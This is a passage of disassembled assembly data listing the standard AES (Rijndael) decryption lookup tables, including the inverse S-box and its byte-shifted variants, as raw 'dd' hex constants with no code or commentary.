		dd 4987C74Eh, 38D9C1D1h, 0CA8CFEA2h, 0D498360Bh, 0F5A6CF81h
		dd 7AA528DEh, 0B7DA268Eh, 0AD3FA4BFh, 3A2CE49Dh, 78500D92h
		dd 5F6A9BCCh, 7E546246h, 8DF6C213h, 0D890E8B8h,	392E5EF7h
		dd 0C382F5AFh, 5D9FBE80h, 0D0697C93h, 0D56FA92Dh, 25CFB312h
		dd 0ACC83B99h, 1810A77Dh, 9CE86E63h, 3BDB7BBBh,	26CD0978h
		dd 596EF418h, 9AEC01B7h, 4F83A89Ah, 95E6656Eh, 0FFAA7EE6h
		dd 0BC2108CFh, 15EFE6E8h, 0E7BAD99Bh, 6F4ACE36h, 9FEAD409h
		dd 0B029D67Ch, 0A431AFB2h, 3F2A3123h, 0A5C63094h, 0A235C066h
		dd 4E7437BCh, 82FCA6CAh, 90E0B0D0h, 0A73315D8h,	4F14A98h
		dd 0EC41F7DAh, 0CD7F0E50h, 91172FF6h, 4D768DD6h, 0EF434DB0h
		dd 0AACC544Dh, 96E4DF04h, 0D19EE3B5h, 6A4C1B88h, 2CC1B81Fh
		dd 65467F51h, 5E9D04EAh, 8C015D35h, 87FA7374h, 0BFB2E41h
		dd 67B35A1Dh, 0DB9252D2h, 10E93356h, 0D66D1347h, 0D79A8C61h
		dd 0A1377A0Ch, 0F8598E14h, 13EB893Ch, 0A9CEEE27h, 61B735C9h
		dd 1CE1EDE5h, 477A3CB1h, 0D29C59DFh, 0F2553F73h, 141879CEh
		dd 0C773BF37h, 0F753EACDh, 0FD5F5BAAh, 3DDF146Fh, 447886DBh
		dd 0AFCA81F3h, 68B93EC4h, 24382C34h, 0A3C25F40h, 1D1672C3h
		dd 0E2BC0C25h, 3C288B49h, 0DFF4195h, 0A8397101h, 0C08DEB3h
		dd 0B4D89CE4h, 566490C1h, 0CB7B6184h, 32D570B6h, 6C48745Ch
		dd 0B8D04257h, 5150A7F4h, 7E536541h, 1AC3A417h,	3A965E27h
		dd 3BCB6BABh, 1FF1459Dh, 0ACAB58FAh, 4B9303E3h,	2055FA30h
		dd 0ADF66D76h, 889176CCh, 0F5254C02h, 4FFCD7E5h, 0C5D7CB2Ah
		dd 26804435h, 0B58FA362h, 0DE495AB1h, 25671BBAh, 45980EEAh
		dd 5DE1C0FEh, 0C302752Fh, 8112F04Ch, 8DA39746h,	6BC6F9D3h
		dd 3E75F8Fh, 15959C92h,	0BFEB7A6Dh, 95DA5952h, 0D42D83BEh
		dd 58D32174h, 492969E0h, 8E44C8C9h, 756A89C2h, 0F478798Eh
		dd 996B3E58h, 27DD71B9h, 0BEB64FE1h, 0F017AD88h, 0C966AC20h
		dd 7DB43ACEh, 63184ADFh, 0E582311Ah, 97603351h,	62457F53h
		dd 0B1E07764h, 0BB84AE6Bh, 0FE1CA081h, 0F9942B08h, 70586848h
		dd 8F19FD45h, 94876CDEh, 52B7F87Bh, 0AB23D373h,	72E2024Bh
		dd 0E3578F1Fh, 662AAB55h, 0B20728EBh, 2F03C2B5h, 869A7BC5h
		dd 0D3A50837h, 30F28728h, 23B2A5BFh, 2BA6A03h, 0ED5C8216h
		dd 8A2B1CCFh, 0A792B479h, 0F3F0F207h, 4EA1E269h, 65CDF4DAh
		dd 6D5BE05h, 0D11F6234h, 0C48AFEA6h, 349D532Eh,	0A2A055F3h
		dd 532E18Ah, 0A475EBF6h, 0B39EC83h, 40AAEF60h, 5E069F71h
		dd 0BD51106Eh, 3EF98A21h, 963D06DDh, 0DDAE053Eh, 4D46BDE6h
		dd 91B58D54h, 71055DC4h, 46FD406h, 60FF1550h, 1924FB98h
		dd 0D697E9BDh, 89CC4340h, 67779ED9h, 0B0BD42E8h, 7888B89h
		dd 0E7385B19h, 79DBEEC8h, 0A1470A7Ch, 7CE90F42h, 0F8C91E84h
		dd 0
		dd 9838680h, 3248ED2Bh,	1EAC7011h, 6C4E725Ah, 0FDFBFF0Eh
		dd 0F563885h, 3D1ED5AEh, 3627392Dh, 0A64D90Fh, 6821A65Ch
		dd 9BD1545Bh, 243A2E36h, 0CB1670Ah, 930FE757h, 0B4D296EEh
		dd 1B9E919Bh, 804FC5C0h, 61A220DCh, 5A694B77h, 1C161A12h
		dd 0E20ABA93h, 0C0E52AA0h, 3C43E022h, 121D171Bh, 0E0B0D09h
		dd 0F2ADC78Bh, 2DB9A8B6h, 14C8A91Eh, 578519F1h,	0AF4C0775h
		dd 0EEBBDD99h, 0A3FD607Fh, 0F79F2601h, 5CBCF572h, 44C53B66h
		dd 5B347EFBh, 8B762943h, 0CBDCC623h, 0B668FCEDh, 0B863F1E4h
		dd 0D7CADC31h, 42108563h, 13402297h, 842011C6h,	857D244Ah
		dd 0D2F83DBBh, 0AE1132F9h, 0C76DA129h, 1D4B2F9Eh, 0DCF330B2h
		dd 0DEC5286h, 77D0E3C1h, 2B6C16B3h, 0A999B970h,	11FA4894h
		dd 472264E9h, 0A8C48CFCh, 0A01A3FF0h, 56D82C7Dh, 22EF9033h
		dd 87C74E49h, 0D9C1D138h, 8CFEA2CAh, 98360BD4h,	0A6CF81F5h
		dd 0A528DE7Ah, 0DA268EB7h, 3FA4BFADh, 2CE49D3Ah, 500D9278h
		dd 6A9BCC5Fh, 5462467Eh, 0F6C2138Dh, 90E8B8D8h,	2E5EF739h
		dd 82F5AFC3h, 9FBE805Dh, 697C93D0h, 6FA92DD5h, 0CFB31225h
		dd 0C83B99ACh, 10A77D18h, 0E86E639Ch, 0DB7BBB3Bh, 0CD097826h
		dd 6EF41859h, 0EC01B79Ah, 83A89A4Fh, 0E6656E95h, 0AA7EE6FFh
		dd 2108CFBCh, 0EFE6E815h, 0BAD99BE7h, 4ACE366Fh, 0EAD4099Fh
		dd 29D67CB0h, 31AFB2A4h, 2A31233Fh, 0C63094A5h,	35C066A2h
		dd 7437BC4Eh, 0FCA6CA82h, 0E0B0D090h, 3315D8A7h, 0F14A9804h
		dd 41F7DAECh, 7F0E50CDh, 172FF691h, 768DD64Dh, 434DB0EFh
		dd 0CC544DAAh, 0E4DF0496h, 9EE3B5D1h, 4C1B886Ah, 0C1B81F2Ch
		dd 467F5165h, 9D04EA5Eh, 15D358Ch, 0FA737487h, 0FB2E410Bh
		dd 0B35A1D67h, 9252D2DBh, 0E9335610h, 6D1347D6h, 9A8C61D7h
		dd 377A0CA1h, 598E14F8h, 0EB893C13h, 0CEEE27A9h, 0B735C961h
		dd 0E1EDE51Ch, 7A3CB147h, 9C59DFD2h, 553F73F2h,	1879CE14h
		dd 73BF37C7h, 53EACDF7h, 5F5BAAFDh, 0DF146F3Dh,	7886DB44h
		dd 0CA81F3AFh, 0B93EC468h, 382C3424h, 0C25F40A3h, 1672C31Dh
		dd 0BC0C25E2h, 288B493Ch, 0FF41950Dh, 397101A8h, 8DEB30Ch
		dd 0D89CE4B4h, 6490C156h, 7B6184CBh, 0D570B632h, 48745C6Ch
		dd 0D04257B8h, 52h, 9, 6Ah, 0D5h, 30h, 36h, 0A5h, 38h
		dd 0BFh, 40h, 0A3h, 9Eh, 81h, 0F3h, 0D7h, 0FBh,	7Ch, 0E3h
		dd 39h,	82h, 9Bh, 2Fh, 0FFh, 87h, 34h, 8Eh, 43h, 44h, 0C4h
		dd 0DEh, 0E9h, 0CBh, 54h, 7Bh, 94h, 32h, 0A6h, 0C2h, 23h
		dd 3Dh,	0EEh, 4Ch, 95h,	0Bh, 42h, 0FAh,	0C3h, 4Eh, 8, 2Eh
		dd 0A1h, 66h, 28h, 0D9h, 24h, 0B2h, 76h, 5Bh, 0A2h, 49h
		dd 6Dh,	8Bh, 0D1h, 25h,	72h, 0F8h, 0F6h, 64h, 86h, 68h
		dd 98h,	16h, 0D4h, 0A4h, 5Ch, 0CCh, 5Dh, 65h, 0B6h, 92h
		dd 6Ch,	70h, 48h, 50h, 0FDh, 0EDh, 0B9h, 0DAh, 5Eh, 15h
		dd 46h,	57h, 0A7h, 8Dh,	9Dh, 84h, 90h, 0D8h, 0ABh, 0
		dd 8Ch,	0BCh, 0D3h, 0Ah, 0F7h, 0E4h, 58h, 5, 0B8h, 0B3h
		dd 45h,	6, 0D0h, 2Ch, 1Eh, 8Fh,	0CAh, 3Fh, 0Fh,	2, 0C1h
		dd 0AFh, 0BDh, 3, 1, 13h, 8Ah, 6Bh, 3Ah, 91h, 11h, 41h
		dd 4Fh,	67h, 0DCh, 0EAh, 97h, 0F2h, 0CFh, 0CEh,	0F0h, 0B4h
		dd 0E6h, 73h, 96h, 0ACh, 74h, 22h, 0E7h, 0ADh, 35h, 85h
		dd 0E2h, 0F9h, 37h, 0E8h, 1Ch, 75h, 0DFh, 6Eh, 47h, 0F1h
		dd 1Ah,	71h, 1Dh, 29h, 0C5h, 89h, 6Fh, 0B7h, 62h, 0Eh
		dd 0AAh, 18h, 0BEh, 1Bh, 0FCh, 56h, 3Eh, 4Bh, 0C6h, 0D2h
		dd 79h,	20h, 9Ah, 0DBh,	0C0h, 0FEh, 78h, 0CDh, 5Ah, 0F4h
		dd 1Fh,	0DDh, 0A8h, 33h, 88h, 7, 0C7h, 31h, 0B1h, 12h
		dd 10h,	59h, 27h, 80h, 0ECh, 5Fh, 60h, 51h, 7Fh, 0A9h
		dd 19h,	0B5h, 4Ah, 0Dh,	2Dh, 0E5h, 7Ah,	9Fh, 93h, 0C9h
		dd 9Ch,	0EFh, 0A0h, 0E0h, 3Bh, 4Dh, 0AEh, 2Ah, 0F5h, 0B0h
		dd 0C8h, 0EBh, 0BBh, 3Ch, 83h, 53h, 99h, 61h, 17h, 2Bh
		dd 4, 7Eh, 0BAh, 77h, 0D6h, 26h, 0E1h, 69h, 14h, 63h, 55h
		dd 21h,	0Ch, 7Dh, 5200h, 900h, 6A00h, 0D500h, 3000h, 3600h
		dd 0A500h, 3800h, 0BF00h, 4000h, 0A300h, 9E00h,	8100h
		dd 0F300h, 0D700h, 0FB00h, 7C00h, 0E300h, 3900h, 8200h
		dd 9B00h, 2F00h, 0FF00h, 8700h,	3400h, 8E00h, 4300h, 4400h
		dd 0C400h, 0DE00h, 0E900h, 0CB00h, 5400h, 7B00h, 9400h
		dd 3200h, 0A600h, 0C200h, 2300h, 3D00h,	0EE00h,	4C00h
		dd 9500h, 0B00h, 4200h,	0FA00h,	0C300h,	4E00h, 800h, 2E00h
		dd 0A100h, 6600h, 2800h, 0D900h, 2400h,	0B200h,	7600h
		dd 5B00h, 0A200h, 4900h, 6D00h,	8B00h, 0D100h, 2500h, 7200h
		dd 0F800h, 0F600h, 6400h, 8600h, 6800h,	9800h, 1600h, 0D400h
		dd 0A400h, 5C00h, 0CC00h, 5D00h, 6500h,	0B600h,	9200h
		dd 6C00h, 7000h, 4800h,	5000h, 0FD00h, 0ED00h, 0B900h
		dd 0DA00h, 5E00h, 1500h, 4600h,	5700h, 0A700h, 8D00h, 9D00h
		dd 8400h, 9000h, 0D800h, 0AB00h, 0
		dd 8C00h, 0BC00h, 0D300h, 0A00h, 0F700h, 0E400h, 5800h
		dd 500h, 0B800h, 0B300h, 4500h,	600h, 0D000h, 2C00h, 1E00h
		dd 8F00h, 0CA00h, 3F00h, 0F00h,	200h, 0C100h, 0AF00h, 0BD00h
		dd 300h, 100h, 1300h, 8A00h, 6B00h, 3A00h, 9100h, 1100h
		dd 4100h, 4F00h, 6700h,	0DC00h,	0EA00h,	9700h, 0F200h
		dd 0CF00h, 0CE00h, 0F000h, 0B400h, 0E600h, 7300h, 9600h
		dd 0AC00h, 7400h, 2200h, 0E700h, 0AD00h, 3500h,	8500h
		dd 0E200h, 0F900h, 3700h, 0E800h, 1C00h, 7500h,	0DF00h
		dd 6E00h, 4700h, 0F100h, 1A00h,	7100h, 1D00h, 2900h, 0C500h
		dd 8900h, 6F00h, 0B700h, 6200h,	0E00h, 0AA00h, 1800h, 0BE00h
		dd 1B00h, 0FC00h, 5600h, 3E00h,	4B00h, 0C600h, 0D200h
		dd 7900h, 2000h, 9A00h,	0DB00h,	0C000h,	0FE00h,	7800h
		dd 0CD00h, 5A00h, 0F400h, 1F00h, 0DD00h, 0A800h, 3300h
		dd 8800h, 700h,	0C700h,	3100h, 0B100h, 1200h, 1000h, 5900h
		dd 2700h, 8000h, 0EC00h, 5F00h,	6000h, 5100h, 7F00h, 0A900h
		dd 1900h, 0B500h, 4A00h, 0D00h,	2D00h, 0E500h, 7A00h, 9F00h
		dd 9300h, 0C900h, 9C00h, 0EF00h, 0A000h, 0E000h, 3B00h
		dd 4D00h, 0AE00h, 2A00h, 0F500h, 0B000h, 0C800h, 0EB00h
		dd 0BB00h, 3C00h, 8300h, 5300h,	9900h, 6100h, 1700h, 2B00h
		dd 400h, 7E00h,	0BA00h,	7700h, 0D600h, 2600h, 0E100h, 6900h
		dd 1400h, 6300h, 5500h,	2100h, 0C00h, 7D00h, 520000h, 90000h
		dd 6A0000h, 0D50000h, 300000h, 360000h,	0A50000h, 380000h
		dd 0BF0000h, 400000h, 0A30000h,	9E0000h, 810000h, 0F30000h
		dd 0D70000h, 0FB0000h, 7C0000h,	0E30000h, 390000h, 820000h
		dd 9B0000h, 2F0000h, 0FF0000h, 870000h,	340000h, 8E0000h
		dd 430000h, 440000h, 0C40000h, 0DE0000h, 0E90000h, 0CB0000h
		dd 540000h, 7B0000h, 940000h, 320000h, 0A60000h, 0C20000h
		dd 230000h, 3D0000h, 0EE0000h, 4C0000h,	950000h, 0B0000h
		dd 420000h, 0FA0000h, 0C30000h,	4E0000h, 80000h, 2E0000h
		dd 0A10000h, 660000h, 280000h, 0D90000h, 240000h, 0B20000h
		dd 760000h, 5B0000h, 0A20000h, 490000h,	6D0000h, 8B0000h
		dd 0D10000h, 250000h, 720000h, 0F80000h, 0F60000h, 640000h
		dd 860000h, 680000h, 980000h, 160000h, 0D40000h, 0A40000h
		dd 5C0000h, 0CC0000h, 5D0000h, 650000h,	0B60000h, 920000h
		dd 6C0000h, 700000h, 480000h, 500000h, 0FD0000h, 0ED0000h
		dd 0B90000h, 0DA0000h, 5E0000h,	150000h, 460000h, 570000h
		dd 0A70000h, 8D0000h, 9D0000h, 840000h,	900000h, 0D80000h
		dd 0AB0000h, 0
		dd 8C0000h, 0BC0000h, 0D30000h,	0A0000h, 0F70000h, 0E40000h
		dd 580000h, 50000h, 0B80000h, 0B30000h,	450000h, 60000h
		dd 0D00000h, 2C0000h, 1E0000h, 8F0000h,	0CA0000h, 3F0000h
		dd 0F0000h, 20000h, 0C10000h, 0AF0000h,	0BD0000h, 30000h
		dd 10000h, 130000h, 8A0000h, 6B0000h, 3A0000h, 910000h
		dd 110000h, 410000h, 4F0000h, 670000h, 0DC0000h, 0EA0000h
		dd 970000h, 0F20000h, 0CF0000h,	0CE0000h, 0F00000h, 0B40000h
		dd 0E60000h, 730000h, 960000h, 0AC0000h, 740000h, 220000h
		dd 0E70000h, 0AD0000h, 350000h,	850000h, 0E20000h, 0F90000h
		dd 370000h, 0E80000h, 1C0000h, 750000h,	0DF0000h, 6E0000h
		dd 470000h, 0F10000h, 1A0000h, 710000h,	1D0000h, 290000h
		dd 0C50000h, 890000h, 6F0000h, 0B70000h, 620000h, 0E0000h
		dd 0AA0000h, 180000h, 0BE0000h,	1B0000h, 0FC0000h, 560000h
		dd 3E0000h, 4B0000h, 0C60000h, 0D20000h, 790000h, 200000h
		dd 9A0000h, 0DB0000h, 0C00000h,	0FE0000h, 780000h, 0CD0000h
		dd 5A0000h, 0F40000h, 1F0000h, 0DD0000h, 0A80000h, 330000h
		dd 880000h, 70000h, 0C70000h, 310000h, 0B10000h, 120000h
		dd 100000h, 590000h, 270000h, 800000h, 0EC0000h, 5F0000h
		dd 600000h, 510000h, 7F0000h, 0A90000h,	190000h, 0B50000h
		dd 4A0000h, 0D0000h, 2D0000h, 0E50000h,	7A0000h, 9F0000h
		dd 930000h, 0C90000h, 9C0000h, 0EF0000h, 0A00000h, 0E00000h
		dd 3B0000h, 4D0000h, 0AE0000h, 2A0000h,	0F50000h, 0B00000h
		dd 0C80000h, 0EB0000h, 0BB0000h, 3C0000h, 830000h, 530000h
		dd 990000h, 610000h, 170000h, 2B0000h, 40000h, 7E0000h
		dd 0BA0000h, 770000h, 0D60000h,	260000h, 0E10000h, 690000h
		dd 140000h, 630000h, 550000h, 210000h, 0C0000h,	7D0000h
		dd 52000000h, 9000000h,	6A000000h, 0D5000000h, 30000000h
		dd 36000000h, 0A5000000h, 38000000h, 0BF000000h, 40000000h
		dd 0A3000000h, 9E000000h, 81000000h, 0F3000000h, 0D7000000h
		dd 0FB000000h, 7C000000h, 0E3000000h, 39000000h, 82000000h
		dd 9B000000h, 2F000000h, 0FF000000h, 87000000h,	34000000h
		dd 8E000000h, 43000000h, 44000000h, 0C4000000h,	0DE000000h
		dd 0E9000000h, 0CB000000h, 54000000h, 7B000000h, 94000000h
		dd 32000000h, 0A6000000h, 0C2000000h, 23000000h, 3D000000h
		dd 0EE000000h, 4C000000h, 95000000h, 0B000000h,	42000000h
		dd 0FA000000h, 0C3000000h, 4E000000h, 8000000h,	2E000000h
		dd 0A1000000h, 66000000h, 28000000h, 0D9000000h, 24000000h
		dd 0B2000000h, 76000000h, 5B000000h, 0A2000000h, 49000000h
		dd 6D000000h, 8B000000h, 0D1000000h, 25000000h,	72000000h
		dd 0F8000000h, 0F6000000h, 64000000h, 86000000h, 68000000h
		dd 98000000h, 16000000h, 0D4000000h, 0A4000000h, 5C000000h
		dd 0CC000000h, 5D000000h, 65000000h, 0B6000000h, 92000000h
		dd 6C000000h, 70000000h, 48000000h, 50000000h, 0FD000000h
		dd 0ED000000h, 0B9000000h, 0DA000000h, 5E000000h, 15000000h
		dd 46000000h, 57000000h, 0A7000000h, 8D000000h,	9D000000h
		dd 84000000h, 90000000h, 0D8000000h, 0AB000000h, 0
		dd 8C000000h, 0BC000000h, 0D3000000h, 0A000000h, 0F7000000h
		dd 0E4000000h, 58000000h, 5000000h, 0B8000000h,	0B3000000h
		dd 45000000h, 6000000h,	0D0000000h, 2C000000h, 1E000000h
		dd 8F000000h, 0CA000000h, 3F000000h, 0F000000h,	2000000h
		dd 0C1000000h, 0AF000000h, 0BD000000h, 3000000h, 1000000h
		dd 13000000h, 8A000000h, 6B000000h, 3A000000h, 91000000h
		dd 11000000h, 41000000h, 4F000000h, 67000000h, 0DC000000h
		dd 0EA000000h, 97000000h, 0F2000000h, 0CF000000h, 0CE000000h
		dd 0F0000000h, 0B4000000h, 0E6000000h, 73000000h, 96000000h
		dd 0AC000000h, 74000000h, 22000000h, 0E7000000h, 0AD000000h
		dd 35000000h, 85000000h, 0E2000000h, 0F9000000h, 37000000h
		dd 0E8000000h, 1C000000h, 75000000h, 0DF000000h, 6E000000h
		dd 47000000h, 0F1000000h, 1A000000h, 71000000h,	1D000000h
		dd 29000000h, 0C5000000h, 89000000h, 6F000000h,	0B7000000h
		dd 62000000h, 0E000000h, 0AA000000h, 18000000h,	0BE000000h
		dd 1B000000h, 0FC000000h, 56000000h, 3E000000h,	4B000000h
		dd 0C6000000h, 0D2000000h, 79000000h, 20000000h, 9A000000h
		dd 0DB000000h, 0C0000000h, 0FE000000h, 78000000h, 0CD000000h
		dd 5A000000h, 0F4000000h, 1F000000h, 0DD000000h, 0A8000000h
		dd 33000000h, 88000000h, 7000000h, 0C7000000h, 31000000h
		dd 0B1000000h, 12000000h, 10000000h, 59000000h,	27000000h
		dd 80000000h, 0EC000000h, 5F000000h, 60000000h,	51000000h
		dd 7F000000h, 0A9000000h, 19000000h, 0B5000000h, 4A000000h
		dd 0D000000h, 2D000000h, 0E5000000h, 7A000000h,	9F000000h
		dd 93000000h, 0C9000000h, 9C000000h, 0EF000000h, 0A0000000h
		dd 0E0000000h, 3B000000h, 4D000000h, 0AE000000h, 2A000000h
		dd 0F5000000h, 0B0000000h, 0C8000000h, 0EB000000h, 0BB000000h
		dd 3C000000h, 83000000h, 53000000h, 99000000h, 61000000h
		dd 17000000h, 2B000000h, 4000000h, 7E000000h, 0BA000000h
		dd 77000000h, 0D6000000h, 26000000h, 0E1000000h, 69000000h
		dd 14000000h, 63000000h, 55000000h, 21000000h, 0C000000h
		dd 7D000000h, 0
		dd 0B0D090Eh, 161A121Ch, 1D171B12h, 2C342438h, 27392D36h
		dd 3A2E3624h, 31233F2Ah, 58684870h, 5365417Eh, 4E725A6Ch
		dd 457F5362h, 745C6C48h, 7F516546h, 62467E54h, 694B775Ah
		dd 0B0D090E0h, 0BBDD99EEh, 0A6CA82FCh, 0ADC78BF2h, 9CE4B4D8h
		dd 97E9BDD6h, 8AFEA6C4h, 81F3AFCAh, 0E8B8D890h,	0E3B5D19Eh
		dd 0FEA2CA8Ch, 0F5AFC382h, 0C48CFCA8h, 0CF81F5A6h, 0D296EEB4h
		dd 0D99BE7BAh, 7BBB3BDBh, 70B632D5h, 6DA129C7h,	66AC20C9h
		dd 578F1FE3h, 5C8216EDh, 41950DFFh, 4A9804F1h, 23D373ABh
		dd 28DE7AA5h, 35C961B7h, 3EC468B9h, 0FE75793h, 4EA5E9Dh
		dd 19FD458Fh, 12F04C81h, 0CB6BAB3Bh, 0C066A235h, 0DD71B927h
		dd 0D67CB029h, 0E75F8F03h, 0EC52860Dh, 0F1459D1Fh, 0FA489411h
		dd 9303E34Bh, 980EEA45h, 8519F157h, 8E14F859h, 0BF37C773h
		dd 0B43ACE7Dh, 0A92DD56Fh, 0A220DC61h, 0F66D76ADh, 0FD607FA3h
		dd 0E07764B1h, 0EB7A6DBFh, 0DA595295h, 0D1545B9Bh, 0CC434089h
		dd 0C74E4987h, 0AE053EDDh, 0A50837D3h, 0B81F2CC1h, 0B31225CFh
		dd 82311AE5h, 893C13EBh, 942B08F9h, 9F2601F7h, 46BDE64Dh
		dd 4DB0EF43h, 50A7F451h, 5BAAFD5Fh, 6A89C275h, 6184CB7Bh
		dd 7C93D069h, 779ED967h, 1ED5AE3Dh, 15D8A733h, 8CFBC21h
		dd 3C2B52Fh, 32E18A05h,	39EC830Bh, 24FB9819h, 2FF69117h
		dd 8DD64D76h, 86DB4478h, 9BCC5F6Ah, 90C15664h, 0A1E2694Eh
		dd 0AAEF6040h, 0B7F87B52h, 0BCF5725Ch, 0D5BE0506h, 0DEB30C08h
		dd 0C3A4171Ah, 0C8A91E14h, 0F98A213Eh, 0F2872830h, 0EF903322h
		dd 0E49D3A2Ch, 3D06DD96h, 360BD498h, 2B1CCF8Ah,	2011C684h
		dd 1132F9AEh, 1A3FF0A0h, 728EBB2h, 0C25E2BCh, 656E95E6h
		dd 6E639CE8h, 737487FAh, 78798EF4h, 495AB1DEh, 4257B8D0h
		dd 5F40A3C2h, 544DAACCh, 0F7DAEC41h, 0FCD7E54Fh, 0E1C0FE5Dh
		dd 0EACDF753h, 0DBEEC879h, 0D0E3C177h, 0CDF4DA65h, 0C6F9D36Bh
		dd 0AFB2A431h, 0A4BFAD3Fh, 0B9A8B62Dh, 0B2A5BF23h, 83868009h
		dd 888B8907h, 959C9215h, 9E919B1Bh, 470A7CA1h, 4C0775AFh
		dd 51106EBDh, 5A1D67B3h, 6B3E5899h, 60335197h, 7D244A85h
		dd 7629438Bh, 1F6234D1h, 146F3DDFh, 97826CDh, 2752FC3h
		dd 335610E9h, 385B19E7h, 254C02F5h, 2E410BFBh, 8C61D79Ah
		dd 876CDE94h, 9A7BC586h, 9176CC88h, 0A055F3A2h,	0AB58FAACh
		dd 0B64FE1BEh, 0BD42E8B0h, 0D4099FEAh, 0DF0496E4h, 0C2138DF6h
		dd 0C91E84F8h, 0F83DBBD2h, 0F330B2DCh, 0EE27A9CEh, 0E52AA0C0h
		dd 3CB1477Ah, 37BC4E74h, 2AAB5566h, 21A65C68h, 10856342h
		dd 1B886A4Ch, 69F715Eh,	0D927850h, 64D90F0Ah, 6FD40604h
		dd 72C31D16h, 79CE1418h, 48ED2B32h, 43E0223Ch, 5EF7392Eh
		dd 55FA3020h, 1B79AECh,	0ABA93E2h, 17AD88F0h, 1CA081FEh
		dd 2D83BED4h, 268EB7DAh, 3B99ACC8h, 3094A5C6h, 59DFD29Ch
		dd 52D2DB92h, 4FC5C080h, 44C8C98Eh, 75EBF6A4h, 7EE6FFAAh
		dd 63F1E4B8h, 68FCEDB6h, 0B1670A0Ch, 0BA6A0302h, 0A77D1810h
		dd 0AC70111Eh, 9D532E34h, 965E273Ah, 8B493C28h,	80443526h
		dd 0E90F427Ch, 0E2024B72h, 0FF155060h, 0F418596Eh, 0C53B6644h
		dd 0CE366F4Ah, 0D3217458h, 0D82C7D56h, 7A0CA137h, 7101A839h
		dd 6C16B32Bh, 671BBA25h, 5638850Fh, 5D358C01h, 40229713h
		dd 4B2F9E1Dh, 2264E947h, 2969E049h, 347EFB5Bh, 3F73F255h
		dd 0E50CD7Fh, 55DC471h,	184ADF63h, 1347D66Dh, 0CADC31D7h
		dd 0C1D138D9h, 0DCC623CBh, 0D7CB2AC5h, 0E6E815EFh, 0EDE51CE1h
		dd 0F0F207F3h, 0FBFF0EFDh, 92B479A7h, 99B970A9h, 84AE6BBBh
		dd 8FA362B5h, 0BE805D9Fh, 0B58D5491h, 0A89A4F83h, 0A397468Dh
		dd 0
		dd 0D090E0Bh, 1A121C16h, 171B121Dh, 3424382Ch, 392D3627h
		dd 2E36243Ah, 233F2A31h, 68487058h, 65417E53h, 725A6C4Eh
		dd 7F536245h, 5C6C4874h, 5165467Fh, 467E5462h, 4B775A69h
		dd 0D090E0B0h, 0DD99EEBBh, 0CA82FCA6h, 0C78BF2ADh, 0E4B4D89Ch
		dd 0E9BDD697h, 0FEA6C48Ah, 0F3AFCA81h, 0B8D890E8h, 0B5D19EE3h
		dd 0A2CA8CFEh, 0AFC382F5h, 8CFCA8C4h, 81F5A6CFh, 96EEB4D2h
		dd 9BE7BAD9h, 0BB3BDB7Bh, 0B632D570h, 0A129C76Dh, 0AC20C966h
		dd 8F1FE357h, 8216ED5Ch, 950DFF41h, 9804F14Ah, 0D373AB23h
		dd 0DE7AA528h, 0C961B735h, 0C468B93Eh, 0E757930Fh, 0EA5E9D04h
		dd 0FD458F19h, 0F04C8112h, 6BAB3BCBh, 66A235C0h, 71B927DDh
		dd 7CB029D6h, 5F8F03E7h, 52860DECh, 459D1FF1h, 489411FAh
		dd 3E34B93h, 0EEA4598h,	19F15785h, 14F8598Eh, 37C773BFh
		dd 3ACE7DB4h, 2DD56FA9h, 20DC61A2h, 6D76ADF6h, 607FA3FDh
		dd 7764B1E0h, 7A6DBFEBh, 595295DAh, 545B9BD1h, 434089CCh
		dd 4E4987C7h, 53EDDAEh,	837D3A5h, 1F2CC1B8h, 1225CFB3h
		dd 311AE582h, 3C13EB89h, 2B08F994h, 2601F79Fh, 0BDE64D46h
		dd 0B0EF434Dh, 0A7F45150h, 0AAFD5F5Bh, 89C2756Ah, 84CB7B61h
		dd 93D0697Ch, 9ED96777h, 0D5AE3D1Eh, 0D8A73315h, 0CFBC2108h
		dd 0C2B52F03h, 0E18A0532h, 0EC830B39h, 0FB981924h, 0F691172Fh
		dd 0D64D768Dh, 0DB447886h, 0CC5F6A9Bh, 0C1566490h, 0E2694EA1h
		dd 0EF6040AAh, 0F87B52B7h, 0F5725CBCh, 0BE0506D5h, 0B30C08DEh
		dd 0A4171AC3h, 0A91E14C8h, 8A213EF9h, 872830F2h, 903322EFh
		dd 9D3A2CE4h, 6DD963Dh,	0BD49836h, 1CCF8A2Bh, 11C68420h
		dd 32F9AE11h, 3FF0A01Ah, 28EBB207h, 25E2BC0Ch, 6E95E665h
		dd 639CE86Eh, 7487FA73h, 798EF478h, 5AB1DE49h, 57B8D042h
		dd 40A3C25Fh, 4DAACC54h, 0DAEC41F7h, 0D7E54FFCh, 0C0FE5DE1h
		dd 0CDF753EAh, 0EEC879DBh, 0E3C177D0h, 0F4DA65CDh, 0F9D36BC6h
		dd 0B2A431AFh, 0BFAD3FA4h, 0A8B62DB9h, 0A5BF23B2h, 86800983h
		dd 8B890788h, 9C921595h, 919B1B9Eh, 0A7CA147h, 775AF4Ch
		dd 106EBD51h, 1D67B35Ah, 3E58996Bh, 33519760h, 244A857Dh
		dd 29438B76h, 6234D11Fh, 6F3DDF14h, 7826CD09h, 752FC302h
		dd 5610E933h, 5B19E738h, 4C02F525h, 410BFB2Eh, 61D79A8Ch
		dd 6CDE9487h, 7BC5869Ah, 76CC8891h, 55F3A2A0h, 58FAACABh
		dd 4FE1BEB6h, 42E8B0BDh, 99FEAD4h, 496E4DFh, 138DF6C2h
		dd 1E84F8C9h, 3DBBD2F8h, 30B2DCF3h, 27A9CEEEh, 2AA0C0E5h
		dd 0B1477A3Ch, 0BC4E7437h, 0AB55662Ah, 0A65C6821h, 85634210h
		dd 886A4C1Bh, 9F715E06h, 9278500Dh, 0D90F0A64h,	0D406046Fh
		dd 0C31D1672h, 0CE141879h, 0ED2B3248h, 0E0223C43h, 0F7392E5Eh
		dd 0FA302055h, 0B79AEC01h, 0BA93E20Ah, 0AD88F017h, 0A081FE1Ch
		dd 83BED42Dh, 8EB7DA26h, 99ACC83Bh, 94A5C630h, 0DFD29C59h
		dd 0D2DB9252h, 0C5C0804Fh, 0C8C98E44h, 0EBF6A475h, 0E6FFAA7Eh
		dd 0F1E4B863h, 0FCEDB668h, 670A0CB1h, 6A0302BAh, 7D1810A7h
		dd 70111EACh, 532E349Dh, 5E273A96h, 493C288Bh, 44352680h
		dd 0F427CE9h, 24B72E2h,	155060FFh, 18596EF4h, 3B6644C5h
		dd 366F4ACEh, 217458D3h, 2C7D56D8h, 0CA1377Ah, 1A83971h
		dd 16B32B6Ch, 1BBA2567h, 38850F56h, 358C015Dh, 22971340h
		dd 2F9E1D4Bh, 64E94722h, 69E04929h, 7EFB5B34h, 73F2553Fh
